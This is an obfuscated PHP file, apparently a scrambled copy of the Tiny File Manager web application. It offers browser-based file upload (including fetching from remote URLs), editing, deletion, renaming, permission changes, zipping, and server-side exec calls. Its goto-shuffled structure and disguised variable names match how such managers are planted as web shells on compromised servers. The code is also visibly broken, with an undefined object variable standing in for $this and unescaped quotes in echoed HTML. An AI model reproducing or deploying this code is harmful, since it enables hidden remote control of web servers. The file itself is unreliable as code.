</div></div><?php  if ($kkkkkkk && $zzzzzzz) { echo "<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">" . htmlspecialchars($ooooooo) . "</textarea>"; echo "<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>"; } elseif ($kkkkkkk) { echo "<div id="editor" contenteditable="true">" . htmlspecialchars($ooooooo) . "</div>"; } else { fm_set_msg(lng("FILE EXTENSION HAS NOT SUPPORTED"), "error"); } ?> 
</div><?php  fm_show_footer(); die; } goto JXI28; Ffukt: define("FM_READONLY", $h || $c && !empty($g) && isset($_SESSION[FM_SESSION_ID]["logged"]) && in_array($_SESSION[FM_SESSION_ID]["logged"], $g)); goto C6I4T; DnZZE: ?> 
<th><?php  goto ho1Ix; XssFS: $nn = new FM_Config(); goto kk_kT; xFGMU: defined("FM_SELF_URL") || define("FM_SELF_URL", ($yy ? "https" : "http") . "://" . $t . $_SERVER["PHP_SELF"]); goto y2vr5; ScVcK: $ll = array("css-bootstrap" => "<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">", "css-dropzone" => "<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">", "css-font-awesome" => "<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">", "css-highlightjs" => "<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/" . $n . ".min.css">", "js-ace" => "<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>", "js-bootstrap" => "<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>", "js-dropzone" => "<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>", "js-jquery" => "<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>", "js-jquery-datatables" => "<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>", "js-highlightjs" => "<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>", "pre-jsdelivr" => "<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>", "pre-cloudflare" => "<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>"); goto kt2cY; dj1Vl: if (isset($_POST["group"], $_POST["delete"], $_POST["token"]) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { fm_set_msg(lng("Invalid Token."), "error"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $kkkkk = 0; $lllll = $_POST["file"]; if (is_array($lllll) && count($lllll)) { foreach ($lllll as $mmmmm) { if ($mmmmm != '') { $eeeeee = $iii . "/" . $mmmmm; if (!fm_rdelete($eeeeee)) { $kkkkk++; } } } if ($kkkkk == 0) { fm_set_msg(lng("Selected files and folder deleted")); } else { fm_set_msg(lng("Error while deleting items"), "error"); } } else { fm_set_msg(lng("Nothing selected"), "alert"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto cOjRk; pAfyg: $r = rtrim($r, "\/"); goto BKLjs; RmoGZ: define("FM_THEME", $ss); goto x21Bt; MKCxQ: function fm_get_theme() { $wwwwwwwwww = ''; if (FM_THEME == "dark") { $wwwwwwwwww = "text-white bg-dark"; } return $wwwwwwwwww; } goto xynJp; Ccl4c: if ($c && isset($_SESSION[FM_SESSION_ID]["logged"])) { $r = isset($j[$_SESSION[FM_SESSION_ID]["logged"]]) ? $j[$_SESSION[FM_SESSION_ID]["logged"]] : $r; } goto pAfyg; BKLjs: $r = str_replace("\", "/", $r); goto eCfLO; ibfmY: function fm_get_filesize($rrrrrrrrr) { $rrrrrrrrr = (double) $rrrrrrrrr; $ttttttttt = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"); $uuuuuuuuu = $rrrrrrrrr > 0 ? floor(log($rrrrrrrrr, 1024)) : 0; $uuuuuuuuu = $uuuuuuuuu > count($ttttttttt) - 1 ? count($ttttttttt) - 1 : $uuuuuuuuu; return sprintf("%s %s", round($rrrrrrrrr / pow(1024, $uuuuuuuuu), 2), $ttttttttt[$uuuuuuuuu]); } goto y289V; y289V: function fm_get_directorysize($vvvvvvvvv) { $wwwwwwwww = 0; $vvvvvvvvv = realpath($vvvvvvvvv); if ($vvvvvvvvv !== false && $vvvvvvvvv != '' && file_exists($vvvvvvvvv)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($vvvvvvvvv, FilesystemIterator::SKIP_DOTS)) as $ww) { $wwwwwwwww += $ww->getSize(); } } return $wwwwwwwww; } goto r8nFt; jjYtR: $eee = fm_clean_path($eee); goto UKEMM; GhPhc: $s = ''; goto FV9kG; LuUh0: $jj = array("127.0.0.1", "::1"); goto Dsrsg; Au7GS: if ((isset($_SESSION[FM_SESSION_ID]["logged"], $d[$_SESSION[FM_SESSION_ID]["logged"]]) || !FM_USE_AUTH) && isset($_POST["ajax"], $_POST["token"]) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { header("HTTP/1.0 401 Unauthorized"); die("Invalid Token."); } if (isset($_POST["type"]) && $_POST["type"] == "search") { $ggg = $_POST["path"] == "." ? '' : $_POST["path"]; $hhh = scan(fm_clean_path($ggg), $_POST["content"]); echo json_encode($hhh); die; } if (isset($_POST["type"]) && $_POST["type"] == "save") { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } if (!is_dir($iii)) { fm_redirect(FM_SELF_URL . "?p="); } $ww = $_GET["edit"]; $ww = fm_clean_path($ww); $ww = str_replace("/", '', $ww); if ($ww == '' || !is_file($iii . "/" . $ww)) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } header("X-XSS-Protection:0"); $kkk = $iii . "/" . $ww; $lll = $_POST["content"]; $mmm = fopen($kkk, "w"); $nnn = @fwrite($mmm, $lll); fclose($mmm); if ($nnn === false) { header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST["type"]) && $_POST["type"] == "backup" && !empty($_POST["file"])) { $ooo = fm_clean_path($_POST["file"]); $ppp = FM_ROOT_PATH . "/"; if (!empty($_POST["path"])) { $qqq = fm_clean_path($_POST["path"]); $ppp .= "{$qqq}/"; } $rrr = date("dMy-His"); $sss = "{$ooo}-{$rrr}.bak"; $ttt = $ppp . $ooo; try { if (!file_exists($ttt)) { throw new Exception("File {$ooo} not found"); } if (copy($ttt, $ppp . $sss)) { echo "Backup {$sss} created"; } else { throw new Exception("Could not copy file {$ooo}"); } } catch (Exception $uuu) { echo $uuu->getMessage(); } } if (isset($_POST["type"]) && $_POST["type"] == "settings") { global $nn, $oo, $qq, $pp, $tt, $rr, $ss; $vvv = $_POST["js-language"]; fm_get_translations(array()); if (!array_key_exists($vvv, $tt)) { $vvv = "en"; } $www = isset($_POST["js-error-report"]) && $_POST["js-error-report"] == "true" ? true : false; $xxx = isset($_POST["js-show-hidden"]) && $_POST["js-show-hidden"] == "true" ? true : false; $yyy = isset($_POST["js-hide-cols"]) && $_POST["js-hide-cols"] == "true" ? true : false; $zzz = $_POST["js-theme-3"]; if ($nn->data["lang"] != $vvv) { $nn->data["lang"] = $vvv; $oo = $vvv; } if ($nn->data["error_reporting"] != $www) { $nn->data["error_reporting"] = $www; $qq = $www; } if ($nn->data["show_hidden"] != $xxx) { $nn->data["show_hidden"] = $xxx; $pp = $xxx; } if ($nn->data["show_hidden"] != $xxx) { $nn->data["show_hidden"] = $xxx; $pp = $xxx; } if ($nn->data["hide_Cols"] != $yyy) { $nn->data["hide_Cols"] = $yyy; $rr = $yyy; } if ($nn->data["theme"] != $zzz) { $nn->data["theme"] = $zzz; $ss = $zzz; } $nn->save(); echo true; } if (isset($_POST["type"]) && $_POST["type"] == "pwdhash") { $aaaa = isset($_POST["inputPassword2"]) && !empty($_POST["inputPassword2"]) ? password_hash($_POST["inputPassword2"], PASSWORD_DEFAULT) : ''; echo $aaaa; } if (isset($_POST["type"]) && $_POST["type"] == "upload" && !empty($_REQUEST["uploadurl"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } function event_callback($bbbb) { global $cccc; echo json_encode($bbbb); } function get_file_path() { global $iii, $dddd, $eeee; return $iii . "/" . basename($dddd->name); } $ffff = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $gggg = parse_url($ffff, PHP_URL_HOST); $hhhh = parse_url($ffff, PHP_URL_PORT); $iiii = array(22, 23, 25, 3306); if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $gggg) || in_array($hhhh, $iiii)) { $jjjj = array("message" => "URL is not allowed"); event_callback(array("fail" => $jjjj)); die; } $kkkk = false; $eeee = tempnam(sys_get_temp_dir(), "upload-"); $dddd = new stdClass(); $dddd->name = trim(basename($ffff), ".\0.. "); $llll = FM_UPLOAD_EXTENSION ? explode(",", FM_UPLOAD_EXTENSION) : false; $mmmm = strtolower(pathinfo($dddd->name, PATHINFO_EXTENSION)); $nnnn = $llll ? in_array($mmmm, $llll) : true; $jjjj = false; if (!$nnnn) { $jjjj = array("message" => "File extension is not allowed"); event_callback(array("fail" => $jjjj)); die; } if (!$ffff) { $oooo = false; } else { if ($kkkk) { @($pppp = fopen($eeee, "w")); @($qqqq = curl_init($ffff)); curl_setopt($qqqq, CURLOPT_NOPROGRESS, false); curl_setopt($qqqq, CURLOPT_FOLLOWLOCATION, true); curl_setopt($qqqq, CURLOPT_FILE, $pppp); @($oooo = curl_exec($qqqq)); $rrrr = curl_getinfo($qqqq); if (!$oooo) { $jjjj = array("message" => curl_error($qqqq)); } @curl_close($qqqq); fclose($pppp); $dddd->size = $rrrr["size_download"]; $dddd->type = $rrrr["content_type"]; } else { $ssss = stream_context_create(); @($oooo = copy($ffff, $eeee, $ssss)); if (!$oooo) { $jjjj = error_get_last(); } } } if ($oooo) { $oooo = rename($eeee, strtok(get_file_path(), "?")); } if ($oooo) { event_callback(array("done" => $dddd)); } else { unlink($eeee); if (!$jjjj) { $jjjj = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $jjjj)); } } die; } goto KiSWy; Da3Z2: if (isset($_GET["help"])) { fm_show_header(); fm_show_nav_path(FM_PATH); global $nn, $oo; ?> 
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?> 
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-exclamation-circle"></i><?php  echo lng("Help"); ?> 
</span><a href="?p=<?php  echo FM_PATH; ?> 
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("Cancel"); ?> 
</a></h6><div class="card-body"><div class="row"><div class="col-xs-12 col-sm-6"><p><h3><a href="https://github.com/prasathmani/tinyfilemanager"class="app-v-title"target="_blank">Tiny File Manager<?php  echo VERSION; ?> 
</a></h3></p><p>Author: Prasath Mani</p><p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers[at]gmail.com</a></p></div><div class="col-xs-12 col-sm-6"><div class="card"><ul class="list-group list-group-flush"><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki"target="_blank"><i class="fa fa-question-circle"></i><?php  echo lng("Help Documents"); ?> 
</a></li><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues"target="_blank"><i class="fa fa-bug"></i><?php  echo lng("Report Issue"); ?> 
</a></li><?php  if (!FM_READONLY) { ?> 
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i><?php  echo lng("Generate new password hash"); ?> 
</a></li><?php  } ?> 
</ul></div></div></div><div class="row hidden js-new-pwd mt-2"><div class="col-12"><form method="POST"action=""class="form-inline"onsubmit="return new_password_hash(this)"><input name="type"type="hidden"value="pwdhash"aria-hidden="true"aria-label="hidden"><div class="mb-2 form-group"><label for="staticEmail2"><?php  echo lng("Generate new password hash"); ?> 
</label></div><div class="mb-2 form-group mx-sm-3"><label for="inputPassword2"class="sr-only"><?php  echo lng("Password"); ?> 
</label> <input name="inputPassword2"id="inputPassword2"class="btn-sm form-control"required placeholder="<?php  echo lng("Password"); ?> 
"></div><button class="btn btn-sm btn-success mb-2"type="submit"><?php  echo lng("Generate"); ?> 
</button></form><textarea class="form-control"id="js-pwd-result"readonly rows="2"></textarea></div></div></div></div></div><?php  fm_show_footer(); die; } goto TTddz; NMazu: function fm_get_size($ww) { static $lllllllll; static $mmmmmmmmm; if (!isset($lllllllll)) { $lllllllll = strtoupper(substr(PHP_OS, 0, 3)) == "WIN"; } if (!isset($mmmmmmmmm)) { $mmmmmmmmm = strtoupper(substr(PHP_OS, 0)) == "DARWIN"; } static $nnnnnnnnn; if (!isset($nnnnnnnnn)) { $nnnnnnnnn = function_exists("exec") && !ini_get("safe_mode") && @exec("echo EXEC") == "EXEC"; } if ($nnnnnnnnn) { $ooooooooo = escapeshellarg($ww); $ppppppppp = $lllllllll ? "for %F in ("{$ww}") do @echo %~zF" : ($mmmmmmmmm ? "stat -f%z {$ooooooooo}" : "stat -c%s {$ooooooooo}"); @exec($ppppppppp, $qqqqqqqqq); if (is_array($qqqqqqqqq) && ctype_digit($rrrrrrrrr = trim(implode("\xa", $qqqqqqqqq)))) { return $rrrrrrrrr; } } if ($lllllllll && class_exists("COM")) { try { $sssssssss = new COM("Scripting.FileSystemObject"); $mmmmm = $sssssssss->GetFile(realpath($ww)); $rrrrrrrrr = $mmmmm->Size; } catch (Exception $uuu) { $rrrrrrrrr = null; } if (ctype_digit($rrrrrrrrr)) { return $rrrrrrrrr; } } return filesize($ww); } goto ibfmY; RReJw: function fm_rcopy($iii, $zzzz, $vvvvvvvv = true, $wwwwwwww = true) { if (is_dir($iii)) { if (!fm_mkdir($zzzz, $wwwwwwww)) { return false; } $rrrrrr = scandir($iii); $ssssssss = true; if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "." && $ww != "..") { if (!fm_rcopy($iii . "/" . $ww, $zzzz . "/" . $ww)) { $ssssssss = false; } } } } return $ssssssss; } elseif (is_file($iii)) { return fm_copy($iii, $zzzz, $vvvvvvvv); } return false; } goto qrOIv; Zn7Sx: $z = ''; goto E2R6F; cM_sN: if (defined("FM_EMBED")) { $c = false; $dd = false; } else { @set_time_limit(600); date_default_timezone_set($q); ini_set("default_charset", "UTF-8"); if (version_compare(PHP_VERSION, "5.6.0", "<") && function_exists("mb_internal_encoding")) { mb_internal_encoding("UTF-8"); } if (function_exists("mb_regex_encoding")) { mb_regex_encoding("UTF-8"); } session_cache_limiter(''); session_name(FM_SESSION_ID); function session_error_handling_function($uu, $vv, $ww, $xx) { if ($uu == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler("session_error_handling_function"); session_start(); restore_error_handler(); } goto q2C33; OBCig: ?> 
<form method="post"action=""class="pt-3"><input name="p"type="hidden"value="<?php  goto DERtn; xynJp: class FM_Zipper { private $xxxxxxxxxx; public function __construct() { $yyyyyyyyyy->zip = new ZipArchive(); } public function create($vvvvv, $lllll) { $aaaa = $yyyyyyyyyy->zip->open($vvvvv, ZipArchive::CREATE); if ($aaaa !== true) { return false; } if (is_array($lllll)) { foreach ($lllll as $mmmmm) { $mmmmm = fm_clean_path($mmmmm); if (!$yyyyyyyyyy->addFileOrDir($mmmmm)) { $yyyyyyyyyy->zip->close(); return false; } } $yyyyyyyyyy->zip->close(); return true; } else { if ($yyyyyyyyyy->addFileOrDir($lllll)) { $yyyyyyyyyy->zip->close(); return true; } return false; } } public function unzip($vvvvv, $iii) { $aaaa = $yyyyyyyyyy->zip->open($vvvvv); if ($aaaa !== true) { return false; } if ($yyyyyyyyyy->zip->extractTo($iii)) { $yyyyyyyyyy->zip->close(); return true; } return false; } private function addFileOrDir($vvvvv) { if (is_file($vvvvv)) { return $yyyyyyyyyy->zip->addFile($vvvvv); } elseif (is_dir($vvvvv)) { return $yyyyyyyyyy->addDir($vvvvv); } return false; } private function addDir($iii) { if (!$yyyyyyyyyy->zip->addEmptyDir($iii)) { return false; } $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "." && $ww != "..") { if (is_dir($iii . "/" . $ww)) { if (!$yyyyyyyyyy->addDir($iii . "/" . $ww)) { return false; } } elseif (is_file($iii . "/" . $ww)) { if (!$yyyyyyyyyy->zip->addFile($iii . "/" . $ww)) { return false; } } } } return true; } return false; } } goto daPQk; Vef7I: if (isset($_POST["chmod"], $_POST["token"]) && !FM_READONLY && !FM_IS_WIN) { if (!verifyToken($_POST["token"])) { fm_set_msg(lng("Invalid Token."), "error"); } $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $ww = $_POST["chmod"]; $ww = fm_clean_path($ww); $ww = str_replace("/", '', $ww); if ($ww == '' || !is_file($iii . "/" . $ww) && !is_dir($iii . "/" . $ww)) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } $pppppp = 0; if (!empty($_POST["ur"])) { $pppppp |= 256; } if (!empty($_POST["uw"])) { $pppppp |= 128; } if (!empty($_POST["ux"])) { $pppppp |= 64; } if (!empty($_POST["gr"])) { $pppppp |= 32; } if (!empty($_POST["gw"])) { $pppppp |= 16; } if (!empty($_POST["gx"])) { $pppppp |= 8; } if (!empty($_POST["or"])) { $pppppp |= 4; } if (!empty($_POST["ow"])) { $pppppp |= 2; } if (!empty($_POST["ox"])) { $pppppp |= 1; } if (@chmod($iii . "/" . $ww, $pppppp)) { fm_set_msg(lng("Permissions changed")); } else { fm_set_msg(lng("Permissions not changed"), "error"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto SWRGf; Vpyvh: if (isset($_POST["rename_from"], $_POST["rename_to"], $_POST["token"]) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { fm_set_msg("Invalid Token.", "error"); } $nnnnn = urldecode($_POST["rename_from"]); $nnnnn = fm_clean_path($nnnnn); $nnnnn = str_replace("/", '', $nnnnn); $wwww = urldecode($_POST["rename_to"]); $wwww = fm_clean_path(strip_tags($wwww)); $wwww = str_replace("/", '', $wwww); $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } if (fm_isvalid_filename($wwww) && $nnnnn != '' && $wwww != '') { if (fm_rename($iii . "/" . $nnnnn, $iii . "/" . $wwww)) { fm_set_msg(sprintf(lng("Renamed from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($nnnnn), fm_enc($wwww))); } else { fm_set_msg(sprintf(lng("Error while renaming from") . " <b>%s</b> " . lng("to") . " <b>%s</b>", fm_enc($nnnnn), fm_enc($wwww)), "error"); } } else { fm_set_msg(lng("Invalid characters in file name"), "error"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto GxZjv; q2C33: if (empty($_SESSION["token"])) { $_SESSION["token"] = bin2hex(random_bytes(32)); } goto La6PN; OU9nx: defined("FM_LANG") || define("FM_LANG", $oo); goto N_Vj9; GnpeX: defined("FM_USE_HIGHLIGHTJS") || define("FM_USE_HIGHLIGHTJS", $m); goto wk_xp; IBHil: ?> 
"> <input name="group"type="hidden"value="1"> <input name="token"type="hidden"value="<?php  goto s07eU; b5huQ: ?> 
<th><?php  goto m0yiT; jkNtT: function fm_isvalid_filename($eeeeeeeeee) { return strpbrk($eeeeeeeeee, "/?%*:|"<>") === FALSE ? true : false; } goto lrpek; cTX92: function verifyToken($rrrrrrrr) { if (hash_equals($_SESSION["token"], $rrrrrrrr)) { return true; } return false; } goto a6Ulc; x21Bt: $tt = array("en" => "English"); goto SWla_; JXI28: if (isset($_GET["chmod"]) && !FM_READONLY && !FM_IS_WIN) { $ww = $_GET["chmod"]; $ww = fm_clean_path($ww); $ww = str_replace("/", '', $ww); if ($ww == '' || !is_file($iii . "/" . $ww) && !is_dir($iii . "/" . $ww)) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . (FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $ww; $kkk = $iii . "/" . $ww; $pppppp = fileperms($iii . "/" . $ww); ?> 
<div class="path"><div class="card mb-2<?php  echo fm_get_theme(); ?> 
"><h6 class="card-header"><?php  echo lng("ChangePermissions"); ?> 
</h6><div class="card-body"><p class="card-text">Full path:<?php  echo $kkk; ?> 
<br></p><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?> 
"> <input name="chmod"type="hidden"value="<?php  echo fm_enc($ww); ?> 
"><table class="table compact-table<?php  echo fm_get_theme(); ?> 
"><tr><td></td><td><b><?php  echo lng("Owner"); ?> 
</b></td><td><b><?php  echo lng("Group"); ?> 
</b></td><td><b><?php  echo lng("Other"); ?> 
</b></td></tr><tr><td style="text-align:right"><b><?php  echo lng("Read"); ?> 
</b></td><td><label><input name="ur"type="checkbox"value="1"<?php  echo $pppppp & 256 ? " checked" : ''; ?> 
></label></td><td><label><input name="gr"type="checkbox"value="1"<?php  echo $pppppp & 32 ? " checked" : ''; ?> 
></label></td><td><label><input name="or"type="checkbox"value="1"<?php  echo $pppppp & 4 ? " checked" : ''; ?> 
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("Write"); ?> 
</b></td><td><label><input name="uw"type="checkbox"value="1"<?php  echo $pppppp & 128 ? " checked" : ''; ?> 
></label></td><td><label><input name="gw"type="checkbox"value="1"<?php  echo $pppppp & 16 ? " checked" : ''; ?> 
></label></td><td><label><input name="ow"type="checkbox"value="1"<?php  echo $pppppp & 2 ? " checked" : ''; ?> 
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("Execute"); ?> 
</b></td><td><label><input name="ux"type="checkbox"value="1"<?php  echo $pppppp & 64 ? " checked" : ''; ?> 
></label></td><td><label><input name="gx"type="checkbox"value="1"<?php  echo $pppppp & 8 ? " checked" : ''; ?> 
></label></td><td><label><input name="ox"type="checkbox"value="1"<?php  echo $pppppp & 1 ? " checked" : ''; ?> 
></label></td></tr></table><p><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
"class="btn btn-outline-primary"><i class="fa fa-times-circle"></i><?php  echo lng("Cancel"); ?> 
</a></b><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("Change"); ?> 
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto uLSrG; mRCcQ: function fm_get_text_mimes() { return array("application/xml", "application/javascript", "application/x-javascript", "image/svg+xml", "message/rfc822", "application/json"); } goto EufSw; dxK5N: defined("FM_ROOT_URL") || define("FM_ROOT_URL", ($yy ? "https" : "http") . "://" . $t . (!empty($s) ? "/" . $s : '')); goto xFGMU; GLSgT: $g = array("user"); goto I2sq3; IocCO: ?> 
"><div class="table-responsive"><table class="table table-bordered table-hover table-sm<?php  goto kjRbk; Y8p1N: function fm_download_file($oooooooooo, $ooo, $pppppppppp = 1024) { if (connection_status() != 0) { return false; } $iiiiiiiiii = pathinfo($ooo, PATHINFO_EXTENSION); $qqqqqqqqqq = fm_get_file_mimes($iiiiiiiiii); if (is_array($qqqqqqqqqq)) { $qqqqqqqqqq = implode(" ", $qqqqqqqqqq); } $rrrrrrrrr = filesize($oooooooooo); if ($rrrrrrrrr == 0) { fm_set_msg(lng("Zero byte file! Aborting download"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); return false; } @ini_set("magic_quotes_runtime", 0); $pppp = fopen("{$oooooooooo}", "rb"); if ($pppp === false) { fm_set_msg(lng("Cannot open file! Aborting download"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); return false; } header("Content-Description: File Transfer"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Pragma: public"); header("Content-Transfer-Encoding: binary"); header("Content-Type: {$qqqqqqqqqq}"); $rrrrrrrrrr = "attachment"; if (strstr($_SERVER["HTTP_USER_AGENT"], "MSIE")) { $ooo = preg_replace("/\./", "%2e", $ooo, substr_count($ooo, ".") - 1); header("Content-Disposition: {$rrrrrrrrrr};filename="{$ooo}""); } else { header("Content-Disposition: {$rrrrrrrrrr};filename="{$ooo}""); } header("Accept-Ranges: bytes"); $ssssssssss = 0; if (isset($_SERVER["HTTP_RANGE"])) { list($tttttttttt, $ssssssssss) = explode("=", $_SERVER["HTTP_RANGE"]); str_replace($ssssssssss, "-", $ssssssssss); $uuuuuuuuuu = $rrrrrrrrr - 1; $vvvvvvvvvv = $rrrrrrrrr - $ssssssssss; header("HTTP/1.1 206 Partial Content"); header("Content-Length: {$vvvvvvvvvv}"); header("Content-Range: bytes {$ssssssssss}{$uuuuuuuuuu}/{$rrrrrrrrr}"); } else { $uuuuuuuuuu = $rrrrrrrrr - 1; header("Content-Range: bytes 0-{$uuuuuuuuuu}/{$rrrrrrrrr}"); header("Content-Length: " . $rrrrrrrrr); } $oooooooooo = realpath($oooooooooo); while (ob_get_level()) { ob_end_clean(); } readfile($oooooooooo); fclose($pppp); return connection_status() == 0 and !connection_aborted(); } goto MKCxQ; AoWtK: function fm_get_file_icon_class($iii) { $mmmm = strtolower(pathinfo($iii, PATHINFO_EXTENSION)); switch ($mmmm) { case "ico": case "gif": case "jpg": case "jpeg": case "jpc": case "jp2": case "jpx": case "xbm": case "wbmp": case "png": case "bmp": case "tif": case "tiff": case "webp": case "avif": case "svg": $gggggggg = "fa fa-picture-o"; break; case "passwd": case "ftpquota": case "sql": case "js": case "ts": case "jsx": case "tsx": case "hbs": case "json": case "sh": case "config": case "twig": case "tpl": case "md": case "gitignore": case "c": case "cpp": case "cs": case "py": case "rs": case "map": case "lock": case "dtd": $gggggggg = "fa fa-file-code-o"; break; case "txt": case "ini": case "conf": case "log": case "htaccess": case "yaml": case "yml": case "toml": case "tmp": case "top": case "bot": case "dat": case "bak": case "htpasswd": case "pl": $gggggggg = "fa fa-file-text-o"; break; case "css": case "less": case "sass": case "scss": $gggggggg = "fa fa-css3"; break; case "bz2": case "zip": case "rar": case "gz": case "tar": case "7z": case "xz": $gggggggg = "fa fa-file-archive-o"; break; case "php": case "php4": case "php5": case "phps": case "phtml": $gggggggg = "fa fa-code"; break; case "htm": case "html": case "shtml": case "xhtml": $gggggggg = "fa fa-html5"; break; case "xml": case "xsl": $gggggggg = "fa fa-file-excel-o"; break; case "wav": case "mp3": case "mp2": case "m4a": case "aac": case "ogg": case "oga": case "wma": case "mka": case "flac": case "ac3": case "tds": $gggggggg = "fa fa-music"; break; case "m3u": case "m3u8": case "pls": case "cue": case "xspf": $gggggggg = "fa fa-headphones"; break; case "avi": case "mpg": case "mpeg": case "mp4": case "m4v": case "flv": case "f4v": case "ogm": case "ogv": case "mov": case "mkv": case "3gp": case "asf": case "wmv": case "webm": $gggggggg = "fa fa-file-video-o"; break; case "eml": case "msg": $gggggggg = "fa fa-envelope-o"; break; case "xls": case "xlsx": case "ods": $gggggggg = "fa fa-file-excel-o"; break; case "csv": $gggggggg = "fa fa-file-text-o"; break; case "bak": case "swp": $gggggggg = "fa fa-clipboard"; break; case "doc": case "docx": case "odt": $gggggggg = "fa fa-file-word-o"; break; case "ppt": case "pptx": $gggggggg = "fa fa-file-powerpoint-o"; break; case "ttf": case "ttc": case "otf": case "woff": case "woff2": case "eot": case "fon": $gggggggg = "fa fa-font"; break; case "pdf": $gggggggg = "fa fa-file-pdf-o"; break; case "psd": case "ai": case "eps": case "fla": case "swf": $gggggggg = "fa fa-file-image-o"; break; case "exe": case "msi": $gggggggg = "fa fa-file-o"; break; case "bat": $gggggggg = "fa fa-terminal"; break; default: $gggggggg = "fa fa-info-circle"; } return $gggggggg; } goto IGDHL; dHPxx: function fm_get_file_mimes($iiiiiiiiii) { $jjjjjjjjjj["swf"] = "application/x-shockwave-flash"; $jjjjjjjjjj["pdf"] = "application/pdf"; $jjjjjjjjjj["exe"] = "application/octet-stream"; $jjjjjjjjjj["zip"] = "application/zip"; $jjjjjjjjjj["doc"] = "application/msword"; $jjjjjjjjjj["xls"] = "application/vnd.ms-excel"; $jjjjjjjjjj["ppt"] = "application/vnd.ms-powerpoint"; $jjjjjjjjjj["gif"] = "image/gif"; $jjjjjjjjjj["png"] = "image/png"; $jjjjjjjjjj["jpeg"] = "image/jpg"; $jjjjjjjjjj["jpg"] = 